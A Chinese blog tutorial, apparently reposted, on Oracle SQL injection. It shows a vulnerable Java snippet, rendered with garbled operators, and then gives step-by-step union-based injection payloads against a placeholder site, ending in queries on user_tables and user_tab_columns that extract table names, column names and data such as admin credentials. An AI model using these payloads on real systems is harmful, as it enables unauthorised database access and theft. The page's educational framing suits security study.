我是靠谱客的博主 危机巨人,最近开发中收集的这篇文章主要介绍web安全-Oracle数据库注入,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Oracle数据库代码分析

在这里插入图片描述
Sql注入形成的主要原因是:由于程序员的安全意识薄弱,在编写代码时没有对用户输入的特殊字符进行处理,导致将特殊字符附带在参数中直接与数据库进行交互。示例代码如下

id . request .getParameter(“id”);
String strSQL . “select title ,content fron news where id=” + id;
ResultSet rs . stnt .executeQuery(strSQL);
while(rs .next())
{
String title . rs.getString(“title”);
String content . rs .getString(“content”);
out .print(“<tr><td>”+ title *”</td></tr><tr><td><br/>” + content + “</td></tr>”);
}

在第二行可以看出,接收的参数id没有经过处理就直接执行,由于对 and,select等关键字没有过滤。所以接下来我们可以使用and,select等构造sql语句来获得管理员账号密码

注入实战

url:http://xxx.com/ID=1010
1.检查注入点以及数据库类型。url后加’
http://xxx.com/ID=1010’

在这里插入图片描述
报错,可推断ID为注入点。ORA-xxxxx这种类型为oracle特有报错方式,所以判断为数据库oracle。
2.判断字段个数。
url后加’ order by number–

在这里插入图片描述
到8能正常显示,故字段数为8.
3.确定每个字段类型。
技巧1:dual表和user_tables表是oracle中的系统表。
技巧2:确定字段类型使用union语句,union操作符用于合并两个或者多个select语句的字符集
(1)union内部的select语句必须拥有相同的列
(2)列也必须拥有相同的数据类型
(3)每条select语句中的列顺序必须相同
null默认匹配所有字段’null’匹配字符类型
‘union select null,null,null,null,null,null,null,null from user_tables–
在这里插入图片描述
对每一位判断是数字型还是字符型,对相判断的那一位改成’null’,若是字符型则界面返回null;否则是数字型
在这里插入图片描述
将所有类型判断出来后,将数字和字符带入,因为不是每一个类型都是数字和字符型,比如说时间类型等。
在这里插入图片描述
综上可以判断出1,2,7,8为数字,3,4,5为字符,第六位为其他类型:
在这里插入图片描述
4.显示union后查询结果
利用and 1=2 union 1,2,’3’,’4’,5 fromuser_tables
1,2,3,4,5位置对印的是之前查询各个字符串的位置,在union语句添加and 1=2使一句正常查询无返回结果,此时1,2,3,4,5会对应显示在现实解密那替换元查询结果,这样一来可以大致确定每一个元素的作用,比如字段1是题目等等。
这里需提到的思想是,表单里的每一个字段都是组成Web页面的元素之一。
5.获取表名。
现在知道了有几个字段,每个字段存储的功能,但是我们仍不知道名字,所以将union后的某一查询数字替换,替换成table_name,可以得到表名。
6.获取表的字段数量
方法是比较判断查询。
在这里插入图片描述
7.查询目标名称-字段名
变换rownum大小获取自短信息,rownum的值是上一步获取到的字段数量。
http://xxx.com/ID=1010’ and 1=2 union select 1,2,column_name,’4’,’5’,null,7,1 from (select * from (select column_name from user_tab_columns where table_name=’表名’ order by 1 asc)where rownum <= 3 order by 1 desc) where rownum<=1–
这样可以得到字段名,再将其带入 http://xxx.com/ID=1010’ and 1=2 union select 1,2,’3’,’4’,’5’,null,7,1 from 数据库 可以得到目标数据。

最后

以上就是危机巨人为你收集整理的web安全-Oracle数据库注入的全部内容,希望文章能够帮你解决web安全-Oracle数据库注入所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(52)

评论列表共有 0 条评论

立即
投稿
返回
顶部